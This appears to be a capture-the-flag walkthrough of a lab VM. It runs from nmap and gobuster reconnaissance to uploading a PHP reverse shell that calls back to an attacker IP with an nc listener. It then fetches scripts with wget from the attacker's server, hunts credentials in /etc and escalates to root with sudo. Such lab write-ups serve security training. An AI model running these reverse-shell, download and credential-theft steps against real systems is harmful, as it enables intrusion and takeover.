netdiscovery

192.168.0.30
nmap
1 | nmap -sV -p- 192.168.0.30 |

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster
1 | gobuster dir -t 100 -u http://192.168.0.30/ -w Documents/wordlist/directory-list-medium.txt |

First flag
http://192.168.0.30/flag/
The 1st flag is : {8734509128730458630012095}
gobuster on uploaded_files
gobuster dir -t 100 -u http://192.168.0.30/uploaded_files -w Documents/wordlist/directory-list-medium.txt
robots.txt
http://192.168.0.30/robots.txt
User-agent: *
Disallow: /
Disallow: /backup
Disallow: /admin
Disallow: /admin_area
Disallow: /r00t
Disallow: /uploads
Disallow: /uploaded_files
Disallow: /flag
flag
192.168.0.30/admin_area/
https://i.imgur.com/nJdZs9h.png
username : admin
password : 3v1l_H@ck3r
The 2nd flag is : {7412574125871236547895214}
It’s not realist… and too easy.
Connect as admin to the web page
Upload php revers shell
https://github.com/pentestmonkey/php-reverse-shell
I upload my revershell.
49 $ip = ‘192.168.0.21’; // CHANGE THIS
50 $port = 4648; // CHANGE THIS
nc
nc -nlvp 4648
open the file
http://192.168.0.30/uploaded_files/php-reverse-shell.php
I have a shell
https://i.imgur.com/e71ZKtm.png
Enum
open http server
in my script directory
1 | python2.7 -m SimpleHTTPServer |
Download them
1 | wget http://192.168.0.21:8000/lin.py |
lse.sh
https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh
1 | sh lse.sh |
[*] sys050 Can root user log in via SSH?…………………………….. yes!
/var/www/html/hint.txt
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)
The 3rd flag is : {7645110034526579012345670}
Find the hidden file
1 | find / -name ".*" 2> /dev/null |
/home/technawi/.sudo_as_admin_successful
So I can use sudo with the user technawi
1 | grep --color=auto -rnw '/etc' -ie "technawi" --color=always 2> /dev/null |
hehe
1 | cat /etc/mysql/conf.d/credentials.txt |
ssh
1 | ssh [email protected] |
sudo
1 | sudo -l |
Then;
1 | sudo su |